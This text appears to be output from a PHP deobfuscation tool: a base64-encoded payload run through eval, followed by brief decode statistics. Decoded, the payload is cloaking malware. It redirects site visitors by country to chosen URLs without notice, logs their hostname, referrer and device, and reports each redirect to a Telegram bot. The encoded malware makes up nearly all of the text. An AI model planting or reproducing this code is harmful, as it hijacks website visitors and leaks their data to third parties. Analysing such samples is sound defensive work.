zZSB7CiAgICAgICAgLy8gQ29uZGl0aW9uYWxseSBleGVjdXRlIGxvYWRQYWdlQ29udGVudCBiYXNlZCBvbiB0aGUgdmFsdWUgb2YgJHNsZWVwCiAgICAgICAgaWYgKCRzbGVlcCkgewogICAgICAgICAgICAkcmVwbHlJRCA9IDY7CiAgICAgICAgICAgICRhY3Rpb24gPSAnRE5UJzsKICAgICAgICAgICAgJG1lc3NhZ2UgLj0gIvCfkqQgQ29kZSBpcyBhc2xlZXAiOwogICAgICAgICAgICAkZGVzdGluYXRpb24gPSAiY29kZSBpcyBhc2xlZXAiOwogICAgICAgICAgICBpbnNlcnRWaXNpdG9yRGF0YSgkZGF0YSwgJGFjdGlvbiwgJHZpc2l0b3JIb3N0bmFtZSwgJHJlZmVycmVyLCAkZG9tYWluTmFtZVZhcmlhYmxlLCAkZGVzdGluYXRpb24sICRwYWdlLCAkZGV2aWNlVHlwZSk7CiAgICAKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcmVkaXJlY3RVUkwgPSBpbl9hcnJheSgkY291bnRyeUNvZGUsICRjb3VudHJ5VG9SZWRpcmVjdCkgPyAkcmVkaXJlY3RVUkwgOiAkc2Vjb25kUmVkaXJlY3RVUkw7CiAgICAgICAgICAgICRjb3VudHJ5ID0gaW5fYXJyYXkoJGNvdW50cnlDb2RlLCAkY291bnRyeVRvUmVkaXJlY3QpID8gJGNvdW50cnlUb1JlZGlyZWN0IDogJHNlY29uZENvdW50cnlUb1JlZGlyZWN0OwogICAgICAgICAgICAKICAgICAgICAgICAgJHJlcGx5SUQgPSA0OwogICAgICAgICAgICAkYWN0aW9uID0gJ1NFTlQnOwogICAgICAgICAgICAkbWVzc2FnZSAuPSAi4pyFIFZpc2l0b3IgZnJvbSB7JGNvdW50cnl9IGhhcyBiZWVuIHJlZGlyZWN0ZWQgdG86IHskcmVkaXJlY3RVUkx9IjsKICAgICAgICAgICAgLy8gU2VuZCBtZXNzYWdlIHRvIFRlbGVncmFtCiAgICAgICAgICAgICRkZXN0aW5hdGlvbiA9ICRyZWRpcmVjdFVSTDsKICAgICAgICAgICAgc2VuZE1lc3NhZ2VUb1RlbGVncmFtKCR0ZWxlZ3JhbUJvdFRva2VuLCAkY2hhdElELCAkbWVzc2FnZSwgJHJlcGx5SUQpOwogICAgICAgICAgICBpbnNlcnRWaXNpdG9yRGF0YSgkZGF0YSwgJGFjdGlvbiwgJHZpc2l0b3JIb3N0bmFtZSwgJHJlZmVycmVyLCAkZG9tYWluTmFtZVZhcmlhYmxlLCAkZGVzdGluYXRpb24sICRwYWdlLCAkZGV2aWNlVHlwZSk7CiAgICAgICAgICAgIC8vIENhbGwgdGhlIGZ1bmN0aW9uIHRvIHBlcmZvcm0gdGhlIHNpbGVudCByZWRpcmVjdAogICAgICAgICAgICByZWRpcmVjdFRvVXJsKCRyZWRpcmVjdFVSTCk7CiAgICAgICAgfQogICAgfQogICAgCiAgICAvLyBTZW5kIG1lc3NhZ2UgdG8gVGVsZWdyYW0KICAgIHNlbmRNZXNzYWdlVG9UZWxlZ3JhbSgkdGVsZWdyYW1Cb3RUb2tlbiwgJGNoYXRJRCwgJG1lc3NhZ2UsICRyZXBseUlEKTsKICAgIAogICAgLy8gRnVuY3Rpb24gdG8gc2VuZCBtZXNzYWdlIHRvIFRlbGVncmFtIHdpdGggdGhlIHJpZ2h0IHJlcGx5IElECiAgICBmdW5jdGlvbiBzZW5kTWVzc2FnZVRvVGVsZWdyYW0oJHRva2VuLCAkY2hhdElELCAkbWVzc2FnZSwgJHJlcGx5SUQpIHsKICAgICAgICAkdGVsZWdyYW1BcGlVcmwgPSAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdHskdG9rZW59L3NlbmRNZXNzYWdlIjsKICAgICAgICAkcGFyYW1zID0gYXJyYXkoCiAgICAgICAgICAgICdjaGF0X2lkJyA9PiAkY2hhdElELAogICAgICAgICAgICAndGV4dCcgPT4gJG1lc3NhZ2UsCiAgICAgICAgICAgICdyZXBseV90b19tZXNzYWdlX2lkJyA9PiAkcmVwbHlJRAogICAgICAgICk7CiAgICAgICAgCiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHRlbGVncmFtQXBpVXJsKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgdHJ1ZSk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRwYXJhbXMpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CiAgICAgICAgCiAgICAgICAgJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7CiAgICAgICAgCiAgICAgICAgaWYgKGN1cmxfZXJybm8oJGNoKSkgewogICAgICAgICAgICBlY2hvICdUZWxlZ3JhbSBBUEkgZXJyb3I6ICcgLiBjdXJsX2Vycm9yKCRjaCk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgIH0KICAgIAogICAgLy8gRnVuY3Rpb24gdG8gcGVyZm9ybSBhIHNpbGVudCByZWRpcmVjdCB0byB0aGUgc3BlY2lmaWVkIFVSTAogICAgZnVuY3Rpb24gcmVkaXJlY3RUb1VybCgkdXJsKSB7CiAgICAgICAgLy8gU2VuZCBhIHJlZGlyZWN0IGhlYWRlciB3aXRob3V0IGFueSBub3RpZmljYXRpb24KICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAkdXJsIik7CiAgICAgICAgLy8gVGVybWluYXRlIHRoZSBzY3JpcHQgZXhlY3V0aW9uCiAgICAgICAgZXhpdCgpOwogICAgfQ==')); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | b60c80f2621bca8ba3c16fc07006ba70 |
Eval Count | 1 |
Decode Time | 55 ms |